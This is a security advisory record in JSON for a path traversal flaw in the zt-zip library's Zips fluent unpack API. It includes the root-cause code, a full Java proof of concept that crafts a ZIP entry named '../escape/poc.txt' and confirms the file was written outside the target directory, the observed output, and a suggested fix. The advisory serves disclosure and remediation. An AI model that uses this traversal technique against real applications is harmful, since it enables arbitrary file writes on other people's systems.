{"id":"GHSA-52c6-99qm-3hqr","summary":"zt-zip: Path traversal in fluent API unpack","details":"### Summary\n\n`ZipUtil.unpack(...)` rejects ZIP entries that escape the target output directory, but the `Zips` fluent API appears to use a separate unpack implementation that does not apply the same destination-boundary check.\n\nA ZIP entry such as:\n\n```text\n../escape/poc.txt\n```\n\nis written outside the configured destination directory when processed with:\n\n```java\nZips.get(zip).unpack().destination(outputDir).process();\n```\n\nThe transformer branch is affected as well.\n\n### Tested Version\n\ncommit: 067935dca375500d3ff025aafcdf0e4283931b1a\n\n### Root Cause\n\nIn `src/main/java/org/zeroturnaround/zip/Zips.java`, `Zips.UnpackingCallback.process(...)` builds the output file directly from the ZIP entry name:\n\n```java\nString entryName = zipEntry.getName();\nFile file = new File(destination, entryName);\n```\n\nThe method then creates directories/files and copies content to that path:\n\n```java\nFileUtils.forceMkdir(file.getParentFile());\nfile.createNewFile();\nFileUtils.copy(in, file);\n```\n\nWhen a transformer is configured, the same `file` is passed to `transformIntoFile(...)`.\n\nThere does not appear to be a canonical path check before these filesystem writes, so `../` entries can resolve outside `destination`.\n\n### Minimal Reproduction\n\n```java\nimport java.io.*;\nimport java.nio.charset.StandardCharsets;\nimport java.nio.file.*;\nimport java.util.zip.*;\n\nimport org.zeroturnaround.zip.ZipUtil;\nimport org.zeroturnaround.zip.Zips;\nimport org.zeroturnaround.zip.transform.ZipEntryTransformer;\n\npublic class ZipsTraversalPoc {\n  public static void main(String[] args) throws Exception {\n    Path work = Files.createTempDirectory(\"ztzip-zips-poc\");\n    Path zip = work.resolve(\"poc.zip\");\n    Path escaped = work.resolve(\"escape\").resolve(\"poc.txt\");\n    String entryName = \"../escape/poc.txt\";\n\n    Files.createDirectories(escaped.getParent());\n\n    try (ZipOutputStream zos = new ZipOutputStream(Files.newOutputStream(zip))) {\n      zos.putNextEntry(new ZipEntry(entryName));\n      zos.write(\"plain branch\\n\".getBytes(StandardCharsets.UTF_8));\n      zos.closeEntry();\n    }\n\n    Path zipUtilOut = work.resolve(\"ziputil-out\");\n    Files.createDirectories(zipUtilOut);\n    try {\n      ZipUtil.unpack(zip.toFile(), zipUtilOut.toFile());\n      System.out.println(\"ZIPUTIL_REJECTED=false\");\n    }\n    catch (Throwable t) {\n      System.out.println(\"ZIPUTIL_REJECTED=\" + t.getClass().getName());\n    }\n    System.out.println(\"ZIPUTIL_ESCAPED_EXISTS=\" + Files.exists(escaped));\n\n    Files.deleteIfExists(escaped);\n\n    Path zipsOut = work.resolve(\"zips-out\");\n    Files.createDirectories(zipsOut);\n    Zips.get(zip.toFile()).unpack().destination(zipsOut.toFile()).process();\n    System.out.println(\"ZIPS_PLAIN_ESCAPED_EXISTS=\" + Files.exists(escaped));\n    System.out.println(\"ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=\" + !escaped.normalize().startsWith(zipsOut.normalize()));\n\n    Files.deleteIfExists(escaped);\n\n    Path zipsTransformOut = work.resolve(\"zips-transform-out\");\n    Files.createDirectories(zipsTransformOut);\n    Zips.get(zip.toFile())\n        .unpack()\n        .destination(zipsTransformOut.toFile())\n        .addTransformer(entryName, new ZipEntryTransformer() {\n          public void transform(InputStream in, ZipEntry entry, ZipOutputStream out) throws IOException {\n            out.putNextEntry(new ZipEntry(entry.getName()));\n            out.write(\"transform branch\\n\".getBytes(StandardCharsets.UTF_8));\n            out.closeEntry();\n          }\n        })\n        .process();\n    System.out.println(\"ZIPS_TRANSFORM_ESCAPED_EXISTS=\" + Files.exists(escaped));\n    System.out.println(\"ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=\" + !escaped.normalize().startsWith(zipsTransformOut.normalize()));\n  }\n}\n```\n\nObserved output:\n\n```text\nZIPUTIL_REJECTED=org.zeroturnaround.zip.MaliciousZipException\nZIPUTIL_ESCAPED_EXISTS=false\nZIPS_PLAIN_ESCAPED_EXISTS=true\nZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=true\nZIPS_TRANSFORM_ESCAPED_EXISTS=true\nZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=true\n```\n\n### Expected Behavior\n\n`Zips.get(zip).unpack().destination(outputDir).process()` should reject traversal entries or otherwise ensure that the resolved output path remains inside `outputDir`.\n\n### Impact\n\nApplications that unpack attacker-controlled ZIP files through the `Zips` fluent API may allow arbitrary file writes outside the intended extraction directory, depending on filesystem permissions and application layout.\n\n### Suggested Fix\n\nApply the same destination-boundary validation used by `ZipUtil.unpack(...)` before any filesystem write in `Zips.UnpackingCallback.process(...)`.\n\nFor example, compare canonical `Path` values before creating directories or files:\n\n```java\nfile.getCanonicalFile().toPath()\n    .startsWith(destination.getCanonicalFile().toPath())\n```\n\nRegression tests should cover both:\n\n```java\nZips.get(zip).unpack().destination(out).process();\nZips.get(zip).unpack().destination(out).addTransformer(...).process();","aliases":["CVE-2026-63436"],"modified":"2026-11-09T19:15:11.575515741Z","published":"2026-11-09T18:47:27Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-11-09T18:47:27Z","nvd_published_at":"2026-11-03T18:18:03Z","cwe_ids":["CWE-22"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/zeroturnaround/zt-zip/security/advisories/GHSA-52c6-99qm-3hqr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63436"},{"type":"WEB","url":"https://github.com/zeroturnaround/zt-zip/pull/180"},{"type":"WEB","url":"https://github.com/zeroturnaround/zt-zip/commit/59a76ad576b0fcd50ea018e3608afb946c1492fd"},{"type":"PACKAGE","url":"https://github.com/zeroturnaround/zt-zip"},{"type":"WEB","url":"https://github.com/zeroturnaround/zt-zip/releases/tag/v1.18.0"}],"affected":[{"package":{"name":"org.zeroturnaround:zt-zip","ecosystem":"Maven","purl":"pkg:maven/org.zeroturnaround/zt-zip"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.18.0"}]}],"versions":["1.10","1.11","1.12","1.13","1.14","1.15","1.16","1.17","1.4","1.5","1.6","1.7","1.8","1.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-52c6-99qm-3hqr/GHSA-52c6-99qm-3hqr.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L"}]}